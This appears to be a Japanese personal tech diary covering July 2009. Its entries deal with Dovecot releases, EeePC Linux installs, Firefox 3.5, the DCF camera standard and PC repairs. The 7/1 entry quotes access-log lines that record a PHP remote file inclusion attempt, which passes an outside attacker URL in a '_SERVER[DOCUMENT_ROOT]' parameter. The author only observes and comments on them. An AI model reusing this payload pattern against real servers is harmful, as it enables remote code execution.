■ 7/1
なんだか、見慣れないアクセスがあった。
"GET /toyota////?_SERVER[DOCUMENT_ROOT]=http://eng.nevskydvor.ru/php/AinuLid1.t
xt?? HTTP/1.1"
"GET /toyota/router////?_SERVER[DOCUMENT_ROOT]=http://eng.nevskydvor.ru/php/Ain
uLid1.txt?? HTTP/1.1"
"GET ////?_SERVER[DOCUMENT_ROOT]=http://eng.nevskydvor.ru/php/AinuLid1.txt?? HT
TP/1.1"
"GET /toyota/router/nttme/lgi11bc.html////?_SERVER[DOCUMENT_ROOT]=http://eng.ne
vskydvor.ru/php/AinuLid1.txt?? HTTP/1.1"
"GET /toyota/router/nttme////?_SERVER[DOCUMENT_ROOT]=http://eng.nevskydvor.ru/p
hp/AinuLid1.txt?? HTTP/1.1"
"GET /toyota////?_SERVER[DOCUMENT_ROOT]=http://eng.nevskydvor.ru/php/AinuLid1.t
xt?? HTTP/1.1"
ちょっと調べてみたけど、PHP のバグを突いたもののようである。試しに、
http://eng.nevskydvor.ru/php/AinuLid1.txt にアクセスしてみたけど、404 の
応答が返ってきた。なんだか、こういうのを見ると、PHP とか入れるのを躊躇
してしまうんだよね。
■ 7/2
待ちに待った Dovecot v1.2.0 がリリースされた。内容的には v1.2.rc8 と同じ
らしいけど、リリースして一区切り、といった感じである。翻訳の状況が全く
進んでいないので、そろそろなんとかしないと。
■ 7/3
そう言えば、いつの間にか gmail のラベルの表示が変わっていた。少し調べて
見ると。
Google Japan Blog: Gmail のラベル機能が大幅に改善されました
あー、よく見ると、別れた彼女の名前がついたラベルとか残ってるんだよね。
こういうメールってみんな綺麗に削除しているものなのだろうか。
■ 7/4
昨日、通勤スクーターで走行中、まさかのマフラーが折れるという事件が発生
して、とても人前では乗ってられないぐらいの爆音になってしまった。少し前
から、排気漏れしている気がしていて、今日辺りに詳しく見ようと思っていた
ところの出来事。なんとか部品が今日中に届いたので、昨日以外で通勤に影響は
なく、今日新品のマフラーを取り付けることができたけど、10年選手の不安と
いうものが露呈した感じである。今年、エンジン周りを替えたので、あと5年は
もってもらわないと。
■ 7/5
1ヶ月ぐらい前のこと、EeePC 900A 用のメモリを購入した。放置していても、
もったいないので、取り付けることにした。モノは BUFFALO の ノートPC用増設
メモリ PC2-5300 (DDR2-667) 2GB D2/N667-2G/E というもの。裏蓋のネジを2つ
外して、既存のメモリを取り外し、新しい 2G のメモリを入れる、という3分も
かからない単純な作業。起動してみたけど、System Info で見ると 1G しか認識
されていないので、再起動して bios の確認。2G 認識を確認して、再起動したが
起動してこない。bios の確認前に、何かの update を行っていて、気にせずに
再起動したのが悪かったようである。仕方なく、F9 で起動させて、初期状態に
戻す。なんとか起動したけど、パッドの操作感とクリックの固さに未だ慣れない。
何か、適当な OS に入れ替えようかな。
■ 7/6
Firefox 3.5 を入れてみた。Windows の再起動が必要なことに少しイラっときた
けど、その他は特に問題なく。ここのところ、アドオンのバージョンがあがったと
何回か表示されたのは、3.5 対応の影響があったことに気がついた。使ってみた
感じは、あまり変わらないな、と。Gmail が少し早くなった気がしたぐらい。
何か少し画期的なものが欲しかった気もする。
■ 7/7
セキュリティーホールメモを見て、value-domain の件を知ったのだけど、最近の
評判がこんなに悪いものだとしらなかった。対応も酷いようだし。いくつか、
value-domain でドメインを買っているので、少し心配である。どこかで乗り換え
キャンペーンをやっていた気がするので、移管しようかな。
■ 7/8
一昨日、Firefox 3.5 をインストールした。なんとなく、久しぶりにソースを
ダウンロードしてみた。このバージョンは、コードネームが Shiretoko だった
もののようで、なんだか少し親近感が沸いたりして。ソースコード自体は、解凍
すると 300M ちょっとあって、大きすぎてコンパイルする気には全くならず。
なんか、時間があったらじっくり見てみたいものだけど。
■ 7/9
バイクのタイヤを色々と調べ中。海外で購入できるか、という目的なのだけど、
その国で今売っているバイクを調べて、そのタイヤサイズを調べたり、現地の
web でのお店で目的のサイズがあるかどうかとか、互換サイズだとどこまでの
サイズが大丈夫なのか、とか。意外と面倒。サイズが全くないなら、日本から
持って行くことになるのだけど、重いしかさばるし。どうしたものか。
■ 7/10
5日に書いた EeePC 900A の続きの話で。update して起動しなくなる現象は、
どうやら容量不足によるもののようで。多分、変なドライバを入れたからでは
ないようである。これ、どうやって簡単に解決するんだろうなぁ。来週の沖縄
旅行には持って行きたいので、快適に使えるようにしたいのだけど、ちょっと
間に合わないかもしれない。
■ 7/11
EeePC 900A で knoppix を起動してみた。ちょっと古いバージョンだったけど、
手元の USB メモリに入っていたので、そのまま起動させてみた。かなり遅い。
起動時間は Xandros の比じゃない。せっかくのノート PC なのに、起動時間が
遅かったらイライラするだろうし。OS は Xandros のままで、設定をいじって
いくしかないのかもしれない。
■ 7/12
父親が PC のマザーボードを交換したらしく、OS が入らないとかで、見に行く
ことになった。で、入れようとしている OS が Windows 2000 ってのもね。10年
前の OS じゃ無理がある気がしたし。手元に XP のライセンスがあるのだけど、
それに合った CD が行方不明なんだよね。試しに、製品版の CD で、OEM 版の
プロダクトキーを入れてみたけど、弾かれたし。何か良い方法はないものかな。
とりあえず、ネットワークが使えるようにと Live CD の Linux をいくつか起動
させてみたけど、RTL8111C を認識しなくてあきらめる。時間があれば、ドライバを
入れた CD を作るのだけど、そんな時間もないし。
■ 7/13
久々に実家にまだ置いてある PC を起動してみた。なんだか、5年前に戻った
気分。Windows 2000 だったり、Mozilla 1.7.2 だったり。そして、このページを
ネットワーク越しにリアルタイムで更新できることが快適だった。いつもは、
scp で最新の html を持ってきて、更新して scp で上げる感じ。
■ 7/14
クーラーのある部屋には PC がないので、久々に Libretto L5 を引っ張り出して
起動してみた。いきなりの CMOS のエラー。起動してわかったのだけど、約1年
ぶりの起動だったみたい。さらに、2007年8月のこのページの書きかけの文書とか
あったりして。確か、落雷のときに影響を受けなくて、大活躍したんだと思う。
それにしても、ノート PC でだし、日本語キーボードなので、打ち辛い。
■ 7/15
Dovecot のバージョンがあがっていたのを、すっかり見落としていた。10日に
1.2.1 と、1.1.17 がリリースされた。1.1.17 は、リリースノートを見る限り、
細かな bug fix みたい。1.2.1 の大きな修正は、GSSAPI のログレベルの変更、
ホームディレクトリが相対ディレクトリだった場合のログインの拒否、IMAP での
カスタム認証での失敗メッセージに [ALERT] が付いたこと、かな。とりあえず
Dovecot 翻訳プロジェクト、のページを更新しておいた。全然訳が進んでない
けど。
■ 7/16
GMO(お名前.com) がカメルーンのドメイン .cm を扱うそうで。安かったら1つ
買ってみようか、の勢いで見たら2年で42800円。とても手が出る価格ではない。
というか、この価格で売れるのか?最初はちょっと売れるだろうけど、その後は
続かないと思うんだけどなぁ。
■ 7/17
EeePC 900A の Linux を入れ替えようかと。理由はちょっと拡張性が乏しいのと
将来的にはコンパイラを入れたいのと。頑張れば Xandros でも何とかなりそう
だけど、そんな元気ないし。で、Puppy Linux を入れようと、何度かやってみた。
日本語版 4.20p1 を USB メモリに入れて起動させた。
Performing a 'switch_root' to the layered filesystem...Kernel panic - not
syncing: Attempted to kill init
ちょっと嫌な感じである。起動オプションをいくつか試してみたけど、状況は
変わらず。SD に突っ込んで起動させてみたり、日本語版 4.20 と 4.20p1-retro
でも試したが駄目。英語版の 4.21 で試したら、あっさりと起動。英語版から
日本語環境を作って、なんとかするしかないのかなぁ。
英語版 4.21 と日本語版の 4.20p1 initrd.gz をばらして、比較なんかしてみた
けど、init スクリプトが原因のような気がする。この init スクリプトを修正
して、initrd を作り直したいが、手元でバリバリ使えるのは NetBSD な環境のみ
なので、/dev 周りがうまく作れるかちょっとわからないし。20日から旅行に行く
のでそのメインに考えていたのだけど、間に合わなかったら Xandros でいくしか
ないのかも…。
■ 7/18
昨日の続きで。日本語フォントを入れて、ブラウザの Seamonkey で日本語が出る
ことを確認し、canna と scim をインストールしてみたが、うまく日本語入力が
できない。scim の起動までいっているようだけど、日本語の文字が出てこないので
ある。どうしたものかなぁ、としばらんく悩んみて、時間もないので、SLAX の
日本語版を試してみることにした。SLAX 日本語版では、英語キーボードの設定を
するのにちょっと時間がかかったが、それ以外では特に問題もなく。ただ、UI が
馴染めなかったり、X / PC の終了周りが気に入らなかったり。どうしたものか。
このまま SLAX でいくか、悩み中。
■ 7/19
どうやら Puppy 日本語版 4.20p1 を CD から起動させて、その中のユニバーサル
インストーラーを使って起動 USB メモリを作成すると 900A でも起動できることが
わかった。ということで、ここ2,3日コロコロ変えていた環境を、Puppy Linux
日本語版 4.20p1 にすることにした。CD から起動して作成した USB メモリで
起動して、さらにその中でユニバーサルインストーラーを起動させて、内蔵の
SSD にインストール。GRUB なんかの設定をして完了。これで、明日からの旅行に
なんとか間に合った。
ということで、4日ほど更新がないかもしれません。
■ 7/24
このページを19日に更新してアップロードしたのだけど、旅行前でバタバタして
いたためか、M/C ページのトップに書き換えてしまっていたようである。ログを
見ると、404 応答が多いな、なんて思っていたらそれが原因で。Google キャッシュ
なんかを使ったりして、なんとか仮復旧させ、家に帰ってがっつり修正した。
気をつけないといけないなぁ。
■ 7/25
あと1週間ほどで、上に書いてある月日の列を1列追加しないといけなくなる。
これ以上横幅を広げたくないし、文字の大きさもこれ以上小さくしたくないし、
これが結構悩みどころ。日付を 2009年1月、みたいな表記から、2009.1 のような
書き方にしようかと考え中。どうしたものか...。
■ 7/26
旅行中、人様にデジカメの写真をメディアごとあげようかと、コピーしてみたの
だけど、コピーしたファイルがデジカメでうまく再生されない。時間がなかった
ので、送ることにしたけど、なぜ再生されないか少し調べてみた。問題は、DCIM
ディレクトリと、その配下のディレクトリを作らずにコピーしたこと。デジカメで
再生する場合は、このディレクトリ以下しか読んでくれない。PC だと、そんな
こと気にもしないのだけど。この辺りの、ディレクトリやファイル名の命名規則は
どこで規格されているのか、調べてみたら JEITA のページに見つかった。
http://it.jeita.or.jp/document/publica/standard/exif/japanese/DCFj.pdf
10年前に規定された Version 1.0 なので、古いかもしれないけど、この辺りの
規格の名前は DCF というらしい。ファイル名も含めて、きっちり規定されている。
DCIM 以下のディレクトリが必ず 100 から始まっている理由も、ここで規定されて
いるから、と初めて知った。結構、きっちり決められているんだなぁ。
■ 7/27
Dovecot 1.2.2 と 1.1.18 がリリースされた。1.2 系は今月3回目。ちょっと
多くないかなぁ。で、既に 1.2.2 での patch が出ていて、AIX や Solaris では
エラーが出るようで。試しに、patch を適用せずに Solaris10 でコンパイルを
してみたら。
settings.c: In function `settings_include':
settings.c:132: error: `GLOB_BRACE' undeclared (first use in this function)
settings.c:132: error: (Each undeclared identifier is reported only once
settings.c:132: error: for each function it appears in.)
make[3]: *** [settings.o] Error 1
と、見事にエラーが出た。1.2.3 が出るのも近そうである。とりあえず、全く
翻訳が進んでないけど、dovecot 翻訳プロジェクトのページを更新しておいた。
■ 7/28
上に書いてある月日の列を、年ごとにまとめて、幅をとらないようにしてみた。
なんだか、見慣れてないので、ちょっと変な気もするけど、これであと3年は
もちそう。本当は「1月」みたいな表記じゃなくて「Jan」にしたかったけど。
■ 7/29
先月20日に起動しなくなって、その1週間後に急に復活した2番機の PC が、
また起動しなくなった。何度かやっても、現象変わらず。急に起動しなくなると
やっぱり困ってしまう。これまで、今日よりも気温の高いときに動いていたので、
メモリの接触不良とかそんなレベルだったら助かるのだけど。意外と叩いたら
動くかもしれないなぁ。20世紀の直し方だけど。明日やってみよう。
■ 7/30
昨日の続きで。起動しない PC をガンガン叩いてみた。隣に置いてあったメインの
PC が再起動してちょっと涙目。で、問題の PC は、起動しないまま。やっぱり、
一度中を開けてチェックする必要があるみたい。週末やってみようかな。
■ 7/31
昨日の続きで。中を開けて、メモリを刺し直したり、PCI スロットを押さえ直して
みたり、IDE コネクタを刺し直したり。蓋を閉めて PC を起動しなおしたら、
綺麗に起動した。これで、再発してくれなければ良いのだけど。もうしばらく
様子見だな。やっぱり、基本は20世紀の直し方のようである。
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